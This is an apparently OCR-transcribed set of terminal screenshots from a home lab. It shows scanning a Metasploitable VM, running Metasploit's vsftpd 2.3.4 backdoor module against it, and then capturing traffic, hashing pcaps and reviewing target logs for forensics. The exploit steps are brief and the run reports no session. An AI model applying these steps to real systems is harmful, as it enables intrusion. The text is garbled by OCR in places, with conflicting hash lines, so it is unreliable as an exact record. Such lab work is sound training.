Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-16 06:37 EDT
Nmap scan report for 192.168.56.104

Host is up (0.0018s latency).

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

MAC Address: 08:00:27:62:BF:C1 (Oracle VirtualBox virtual NIC)
Service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds

root@oshoxes:~# nc -vn 192.168.56.104 21

(UNKNOWN) [192.168.56.104] 21 (ftp) open

220 (vsFTPd 2.3.4)
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File Edit w Search Terminal Help
. 220 (vsFTPd 2.3.4)
. root@osboxes:~# msfconsole
[-] ***rting the Metasploit Framework console...\
[-]1 * WARNING: No database support: No database YAML file
SUl-] wxx
) 0
|
. M |
|
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I I
[ metasploit v5.0.41-dev |
-- - 1914 exploits - 1074 auxiliary - 330 post 1
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root@osboxes: ~ Can'tcrop data to quest . %
. File Edit View Search Terminal Help
msf5 > use exploit/unix/ftp/vsftpd 234 backdoor
. msf5 exploit(unix/ftp/vsftpd 234 backdoor) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
. msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.107
- LHOST => 192.168.56.107
= msf5 exploit(unix/ftp/vsftpd_234 backdoor) > show options
. Module options (exploit/unix/ftp/vsftpd 234 backdoor):
. Name Current Setting Required Description
RHOSTS 192.168.56.104 yes The target address range or CIDR identifier
[3 RPORT 21 yes The target port (TCP)
o Exploit target:
. Id Name
6  Automatic
‘msfs exploit(unix/ftp/vsftpd_234_backdoor) >
¥ @ W ronc
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root@osboxes: ~ Cantdrop data o guest. %

File Edit View Search Terminal Help
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.104:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.56.104:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > id

[*] exec: id

uid=0(root) gid=0(root) groups=0(root)
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > hostname
[*] exec: hostname

[*] exec: ifconfig rthe

rthe: error fetching interface information: Device not found
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > ifconfig ethe
[*] exec: ifconfig ethe

ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 15600

inet 192.168.56.107 netmask 255.255.255.0 broadcast 192.168.56.255

inet6 fe80::a00:27ff:fe5d:10cl prefixlen 64 scopeid @x20<link>

ether 08:00:27:5d:10:c1 txqueuelen 1000 (Ethernet)

RY narketc 2847 hutec 20220 (205 7 KiR) =
% @ B right e
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root@osboxes: ~ Cantdrop data o guest. %

File Edit View Search Terminal Help
. [*] exec: id

uid=0(root) gid=0(root) groups=0(root)
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > hostname
[*] exec: hostname

osboxes
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > ifconfig rthe
[*] exec: ifconfig rthe

rthe: error fetching interface information: Device not found
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > ifconfig ethe
[*] exec: ifconfig ethe

ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 15600
inet 192.168.56.107 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::a00:27ff:fe5d:10c1 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:5d:10:c1 txqueuelen 1000 (Ethernet)
RX packets 2842 bytes 302296 (295.2 KiB)
RX errors © dropped © overruns @ frame @
TX packets 3905 bytes 256181 (250.1 KiB)
TX errors © dropped © overruns © carrier @ collisions @

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > I
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nsfadnin@netasploitable:”$ ifconfig
etho Link encap:Ethernet HWaddr 08:00:27:62:bf :cl
inet addr:192.168.56.104 Bcast:192.168.56.255 Mask:255.255.255.0
inetb addr: feB0O::a00:27ff:feb2:bfcl/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4026 errors:0 dropped:0 overruns:0 frame:0
TX packets:2703 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:299851 (292.8 KB) TX bytes:268561 (262.2 KB)
Base address:0xd020 Memory:f0200000-f0220000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inetb addr: ::1,128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:698 errors:0 dropped:0 overruns:0 frame:0
TX packets:698 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:290677 (283.8 KB) TX bytes:290677 (283.8 KB)
nsfadmin@netasploitable:™$ _
. @ Bright cu
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root@osboxes: ~
w Search Terminal Help
root@oshoxes:~# ifconfig
ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.107 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::a00:27ff:fe5d:16c1 prefixlen 64 scopeid ©x20<link>
ether 08:00:27:5d:10:c1 txqueuelen 1000 (Ethernet)
RX packets 2879 bytes 309803 (302.5 KiB)
RX errors @ dropped © overruns @ frame @
TX packets 3926 bytes 259415 (253.3 KiB)
TX errors © dropped © overruns © carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 6x1l@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 44 bytes 2440 (2.3 KiB)
RX errors © dropped @ overruns @ frame ©
TX packets 44 bytes 2440 (2.3 KiB)
TX errors @ dropped © overruns @ carrier © collisions ©

root@osboxes :~#
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root@osboxes: ~/forensic_evidence
File Edit View Search Terminal Help
. root@osboxes:~# mkdir ~/forensic_evidence
root@oshoxes:~# cd ~/forensic_evidence
. root@oshoxes:~/forensic_evidence# pwd
/root/forensic_evidence
= root@oshoxes:~/forensic_evidence# sudo tcpdump -i eth® host 192.168.56.101 and port 445 -w exploitl smb.pcap

tcpdump: listening on eth®, link-type EN1@MB (Ethernet), capture size 262144 bytes
~C0 packets captured

. 0 packets received by filter
0 packets dropped by kernel

. root@osboxes:~/forensic_evidence# ls -lh exploitl_smb.pcap
-rw-r--r-- 1 root root 24 Aug 16 07:19 exploitl_smb.pcap

ﬂ root@osboxes:~/forensic_evidence# wireshark exploitl smb.pcap
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root@osboxes: ~/forensic_evidence

Applications ~ Places v [ Terminal ~

root@osboxes:~/forensic_evidence# sudo tcpdump -i ethe® host 192.168.56.104 and port 21 -

tcpdump: listening on ethe, link-type EN1@MB (Ethernet), capture size 262144 bytes
~C0 packets captured

0 packets received by filter

0 packets dropped by kernel
root@osboxes:~/forensic_evidence# ls -lh exploit2 ftp.pcap
-rw-r--r-- 1 root root 24 Aug 16 07:26 exploit2 ftp.pcap
root@osboxes:~/forensic_evidence# wireshark exploit2 ftp.pcap

w exploit2 ftp.pcap
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Fri Jul 17 07:47:54 2026 [pid 48931 [ftp]l OK LOGIN: Client "192.168.56.106", ano
n password “IEUser@"

Fri Jul 17 07:47:54 2026 [pid 49291 CONNECT: Client “192.168.56.106"

Fri Jul 17 07:47:54 2026 [pid 49181 CONNECT: Client “192.168.56.106"

Fri Jul 17 07:47:54 2026 [pid 48901 [ftp] OK LOGIN: Client “192.168.56.106", ano
n password “"IEUser@"

Fri Jul 17 07:48:11 2026 [pid 53981 CONNECT: Client “192.168.56.106"

Sun Aug 16 05:07:27 2026 [pid 48221 CONNECT: Client “192.168.56.107"

Sun Aug 16 05:11:01 2026 [pid 48601 CONNECT: Client “192.168.56.107"

Sun Aug 16 06:32:44 2026 [pid 51211 CONNECT: Client "192.168.56.107"

Sun Aug 16 06:33:36 2026 [pid 51241 CONNECT: Client “192.168.56.107"

Sun Aug 16 06:35:35 2026 [pid 51281 CONNECT: Client “192.168.56.107"

Sun Aug 16 06:36:24 2026 [pid 51301 CONNECT: Client “192.168.56.107"

Sun Aug 16 06:38:53 2026 [pid 51401 CONNECT: Client “192.168.56.107"
nsfadmin@netasploitable:~$ 1s svar/log/

apachez daemon.log.0 dmesg.4.gz mail.err mysql user. log
apparmor debug dpkg . log mail.info neus vsftpd.log
apt debug .0 dpkg.log.1 mail.info.® postgresql wtmp
auth.log dist-upgrade fsck nail.log proftpd wtmp.1
auth.log.0 dmesg installer mail.log.®0 samba

boot dmesg .0 kern. log mail.warn syslog

btmp dmesg.1.g9z kern.log.0 mail.warn.0 syslog.0

btmp.1 dmesg.2.g9z lastlog messages toncat5.5

daenon.log dmesg.3.gz 1pr.log nessages.0 udev

nsfadnmin@metasploitable:™$
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root@osboxes: ~

File Edit View Search Terminal Help

root@osboxes:~# sudo tcpdump -i eth® host 192.168.56.104 and port 80 -w exploit3 web.pcap
tcpdump: listening on ethe, link-type EN1@MB (Ethernet), capture size 262144 bytes

~C0 packets captured

0 packets received by filter

0 packets dropped by kernel

root@osboxes:~# wireshark exploit3 web.pcap
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nsfadmin@netasploitable:~$ sudo tail -n 50 svar/log/apache2’access.log
nsfadmin@nmetasploitable:™$ sudo tail -n 50 svar/lograpache2’error.log

[Sun Aug 16 06:44:52 20261 [noticel Apaches/Z2.2.8 (Ubuntu) DAVU/Z configured -- re
suming normal operations

nsfadmin@netasploitable:~$ sudo grep "KALI_IP" ,var/log/apacheZ’access.log
nsfadmin@netasploitable:~$ sudo grep "192.168.56.107" ,var/lograpacheZ/access.lo

nsfadnin@metasploitable:™$ source time

~bash: ELF: command not found

nsfadnin@netasploitable:”$ timestamp

The program 'timestamp’ is currently not installed. You can install it by typin
g:

sudo apt-get install irpas

~bash: timestamp: command not found

nsfadmin@metasploitable:™$

. @ M right e
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root@osboxes: ~/forensic_evidence

w Bl S 9B~

w Search Terminal Helf
# cd ~/forensic_evidence
/forensic_evidence# ls -lh

root@osboxe:
root@oshoxe:
total 8.6K
-rw-r--r-- 1 root root 24 Aug 16 07:19 exploitl smb.pcap

-rw-r--r-- 1 root root 24 Aug 16 07:26 exploit2_ ftp.pcap
root@osboxes:~/forensic_evidence# sha256sum exploitl smb.pcap
764e5e5b3234433c01fcfd1b20a306e77e985038120492dc53965c3edd38adea exploitl smb.pcap
root@oshoxes:~/forensic_evidence# sha256sum exploit2 ftp.pcap
704e5e5b3234433c01fcfd1b20a306e77e985038120492dc53965c3edd38adea exploit2 ftp.pcap
root@osboxes:~/forensic_evidence# sha256sum exploit3_web.pcap

sha256sum: exploit3 web.pcap: No such file or directory
root@osboxes:~/forensic_evidence# sha256sum *.pcap > evidence hashes.txt
root@oshoxes:~/forensic_evidence# cat evidence_hashes.txt
704e5e5b3234433c01fcfd1b20a306e77e985038120492dc53965c3edd38adea exploitl smb.pcap
764e5e5b3234433c01fcfd1b20a306e77e985038120492dc53965c3edd38adea exploit2 ftp.pcap
root@osboxes:~/forensic_evidence# [J
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Aug 16 07:16:39 metasploitable dhclient: DHCPACK of 192.168.56.104 from 192.168.
56.100

Aug 16 07:16:39 metasploitable dhclient: can’t create svar/libsdhcp3/dhclient.et
ho.leases: Permission denied

Aug 16 07:16:39 metasploitable dhclient: bound to 192.168.56.104 -- renewal in 2
73 seconds.

Aug 16 07:17:01 metasploitable ~USR/SBIN/CRONL?9191: (root) CMD ( cd 7/ && run-—
parts —-report setcscron.hourly)

Aug 16 07:21:12 metasploitable dhclient: DHCPREQUEST of <null address> on eth0 t
0 192.168.56.100 port 67

Aug 16 07:21:12 metasploitable dhclient: DHCPACK of 192.168.56.104 from 192.168.
56.100

Aug 16 07:21:12 metasploitable dhclient: can’'t create svar/libsdhcp3sdhclient.et
ho.leases: Permission denied

Aug 16 07:21:12 metasploitable dhclient: bound to 192.168.56.104 -- renewal in 2
70 seconds.

Aug 16 07:25:42 metasploitable dhclient: DHCPREQUEST of <null address> on eth0 t
o0 192.168.56.100 port 67

Aug 16 07:25:42 metasploitable dhclient: DHCPACK of 192.168.56.104 from 192.168.
56.100

Aug 16 07:25:42 metasploitable dhclient: can’t create svars/libsdhcp3/dhclient.et
ho.leases: Permission denied

Aug 16 07:25:42 metasploitable dhclient: bound to 192.168.56.104 -- renewal in 2
73 seconds.

nsfadnin@metasploitable:™$
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Aug 16 07:17:01 metasploitable CRON[?9181: pam_unix(cron:session): session close
d for user root

Aug 16 07:28:01 metasploitable sudo: msfadmin : TTY=ttyl : PWUD=/home/msfadmin ;
USER=root : COMMAND=/usr/binstail -n 50 svar/logsauth.log

Aug 16 07:28:01 metasploitable sudo: pam_unix(sudo:session): session opened for
user root by msfadmin(uid=0)

Aug 16 07:28:01 metasploitable sudo: pam_unix(sudo:session): session closed for
user root

nsfadnin@netasploitable:”$ sudo tail -n 50 svar/log/syslog

Aug 16 06:44:59 metasploitable syslogd 1.5.0#1ubuntul: restart.

Aug 16 06:44:59 metasploitable postfix/pickup[51611: FO138CC46: uid=0 from=<root
>

Aug 16 06:44:59 metasploitable postfix/cleanup[?6531: FO013BCC46: message-id=<202
60816104459 .F0138CC46@netasploitable.localdomain>

Aug 16 06:45:00 metasploitable postfix/qmngr[45151: FO138CC46: from=<root@metaspl
oitable.localdomain>, size=815, nrcpt=1 (queue active)

Aug 16 06:45:00 metasploitable postfix/locall?6551: FO0138CC46: to=<root@metasplo
itable.localdomain>, orig_to=<root>, relay=local, delay=1196, delays=1196,0.03/0
»,0.02, dsn=2.0.0, status=sent (delivered to mailbox)

Aug 16 06:45:00 metasploitable postfix/qmgr[45151: F0138CC46: removed

Aug 16 06:46:41 metasploitable dhclient: DHCPREQUEST of <null address> on eth0 t
o0 192.168.56.100 port 67

Aug 16 06:46:41 metasploitable dhclient: DHCPACK of 192.168.56.104 from 192.168.
56.100

Aug 16 06:46:41 metasploitable dhclient: can't create svar/libsdhcp3/dhclient.et
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nsfadnmin@metasploitable:”$ sudo tail -n 50 svar/lograuth.log

[sudol password for msfadmin:

Aug 16 06:47:03 metasploitable CRONL?6631: pam_unix(cron:session): session close
d for user root

Aug 16 07:09:01 metasploitable CRONI?8851: pam_unix(cron:session): session opene
d for user root by (uid=0)

Aug 16 07:09:01 metasploitable CRONL?8851: pam_unix(cron:session): session close
d for user root

Aug 16 07:17:01 metasploitable CRON[79181: pam_unix(cron:session): session opene
d for user root by (uid=0)

Aug 16 07:17:01 metasploitable CRON[?9181: pam_unix(cron:session): session close
d for user root

Aug 16 07:28:01 metasploitable sudo: msfadmin : TTY=ttyl :; PUD=/home/msfadmin :
USER=root : COMMAND=/usr/binstail -n 50 svar/logsauth.log

Aug 16 07:28:01 metasploitable sudo: pam_unix(sudo:session): session opened for
user root by msfadmin(uid=0)

Aug 16 07:28:01 metasploitable sudo: pam_unix(sudo:session): session closed for
user root

nsfadnin@metasploitable:™$
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Fri Jul 10 07:29:09 2026 [pid 73891 CONNECT: Client “192.168.56.105"

Thu Jul 16 08:33:12 2026 [pid 47571 CONNECT: Client “192.168.56.106"

Thu Jul 16 08:38:09 2026 [pid 47911 CONNECT: Client “192.168.56.106"

Thu Jul 16 08:52:50 2026 [pid 48681 CONNECT: Client “192.168.56.106"

Fri Jul 17 07:44:52 2026 [pid 48021 CONNECT: Client “192.168.56.106"

Fri Jul 17 07:47:41 2026 [pid 48401 CONNECT: Client “192.168.56.106"

Fri Jul 17 07:47:53 2026 [pid 48801 CONNECT: Client “192.168.56.106"

Fri Jul 17 07:47:53 2026 [pid 48951 CONNECT: Client “192.168.56.106"

Fri Jul 17 07:47:54 2026 [pid 48781 [ftp] OK LOGIN: Client “192.168.56.106", ano
n password “IEUsere"

Fri Jul 17 07:47:54 2026 [pid 48931 [ftpl OK LOGIN: Client "192.168.56.106", ano
n password “IEUser@"

Fri Jul 17 07:47:54 2026 [pid 49291 CONNECT: Client “192.168.56.106"

Fri Jul 17 07:47:54 2026 [pid 49181 CONNECT: Client “192.168.56.106"

Fri Jul 17 07:47:54 2026 [pid 48901 [ftp] OK LOGIN: Client “192.168.56.106", ano
n password “IEUser@"

Fri Jul 17 07:48:11 2026 [pid 53981 CONNECT: Client “192.168.56.106"

Sun Aug 16 05:07:27 2026 [pid 48221 CONNECT: Client “192.168.56.107"

Sun Aug 16 05:11:01 2026 [pid 48601 CONNECT: Client “192.168.56.107"

Sun Aug 16 06:32:44 2026 [pid 51211 CONNECT: Client “192.168.56.107"

Sun Aug 16 06:33:36 2026 [pid 51241 CONNECT: Client “192.168.56.107"

Sun Aug 16 06:35:35 2026 [pid 51281 CONNECT: Client “192.168.56.107"

Sun Aug 16 06:36:24 2026 [pid 51301 CONNECT: Client “192.168.56.107"

Sun Aug 16 06:38:53 2026 [pid 51401 CONNECT: Client “192.168.56.107"
nsfadmin@metasploitable:™$
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